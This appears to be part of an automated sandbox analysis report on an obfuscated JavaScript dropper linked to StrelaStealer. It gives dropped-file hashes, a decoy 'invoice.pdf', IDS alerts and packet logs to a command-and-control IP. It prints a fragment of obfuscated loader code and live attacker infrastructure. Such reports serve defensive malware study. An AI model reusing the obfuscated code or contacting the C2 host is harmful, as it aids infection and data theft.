SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e4f49bbe-4302-4c99-ae91-7dce8e53c677.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17613), with CRLF line terminators
Entropy (8bit):	4.907467088314664
TrID:
File name:	1444589682028830633.js
File size:	20'960 bytes
MD5:	2ad1fb8b8df5a1d2578ee9b2b0f5773c
SHA1:	dd0a1b33f598909903687fba2059c60b37426b83
SHA256:	4bcb367dc50858df4f67df7ed92978e15a66c2a03b0f969d8d0de5d72c5a56c8
SHA512:	234db3742d1cee9335ecaed6ac91482b392fbefa2104ff5abf4a744a476f6f8907090f1093118bb49f62ec65c533fc486ef4d8f0e9d79170edd3d0866850848e
SSDEEP:	384:9B4cKJutVFxtVvQhq08aprLEhvtXGsfFk79tb/BFpxFaVvt:nDhtVntVvQZ8aproxNGP9tb/BDxk
TLSH:	FE9265185E82C917CEFC52F0693B18A273DC815FCD8410D76C85AE1E5F4A217A5FA8BB
File Content Preview:	function giuhkxp(){mbuvqc=[1031,3079,5127,4103,2055,3072];var gsavqzmp=this[jnynf+ssmiu+gvndvagt+dzdkx+qxiln+iczqsddsh+pvyco+zknxtfbsu](this[hydyvlutp+hiljqflq+aknujbkg+gvndvagt+dlehqe+jnynf+zknxtfbsu][xusgzwcd+gvndvagt+qxiln+ssmiu+zknxtfbsu+qxiln+zfhnapi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:29:59.214561+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T08:29:59.214561+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T08:30:01.946497+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:29:58.414946079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:58.420573950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:58.420778990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:58.423777103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:58.428680897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214392900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214426994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214446068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214462042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214481115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214493990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214560986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.214595079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.214601994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214618921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214678049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.214728117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214745045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.214785099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.219506979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.260356903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.260401964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.260418892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.260435104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.260464907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.335633039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335659027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335712910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335731030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335798025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335814953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335835934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.335855961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.335870981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.335978031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.335994959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.336055040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.336617947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.336635113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.336688042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.336842060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.336899996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.336915970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.336944103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.337029934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.337074041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.337507963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.337537050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.337555885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.337584972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.337666035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.337693930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.337714911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.338401079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.338450909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.349145889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.349164009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.349304914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.381371975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.381458044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.381474972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.381522894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.381602049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.381617069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.381650925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.424396992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.424415112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.424473047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.456897974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.456931114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.456950903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.456969976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457073927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.457185984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457202911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457221985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457266092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.457271099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457288027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457304001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457315922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.457329988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.457350969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.458100080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458117008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458134890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458151102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458157063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.458193064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.458620071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458635092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458653927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458662987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.458710909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.458754063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458769083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458785057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458801985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.458826065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.458861113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.459492922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459539890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459556103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459587097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.459649086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459697008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.459768057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459784985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459801912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.459827900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.460444927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460488081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.460498095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460514069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460560083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.460614920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460629940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460648060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460678101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.460722923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.460763931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.461376905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.470166922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.470184088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.470227003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.502320051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.502422094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.502463102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.502476931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.502492905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.502516985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.502516985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.502564907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.513024092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.513041019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.513056040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.513101101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.513139009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.513154984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.513170958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.513190031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.513216972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.545572042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.545588017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.545732021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.578218937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578236103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578252077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578295946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578329086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.578358889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.578362942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578380108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578421116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.578497887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578514099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578552008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.578639984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578717947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578758001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578784943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.578881025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578897953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.578927994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.579085112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579112053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579125881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.579128027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579169989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.579298019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579323053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579340935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579356909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579368114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.579401970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.579651117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579667091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579683065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579715014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.579807043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579823971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579833031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579840899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.579879999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580030918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580045938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580074072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580106020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580121994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580147028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580526114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580569029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580590963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580606937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580645084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580750942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580768108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580811977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580851078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580866098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580882072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580897093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580908060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.580914021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.580933094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.581100941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581151962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.581553936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581568956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581584930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581612110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.581720114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581736088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581751108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581763983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.581768990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581787109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.581851006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581892967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.581923962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581939936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581959963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.581979990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.582400084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.582426071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.582441092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.582444906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.582484961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.582592010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.582607031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.582664967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.591094971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591109037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591124058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591156006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.591156960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591173887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591200113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.591295958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591320038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591345072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.591424942 CET	80	49704	193.143.1.205	192.168.2.5
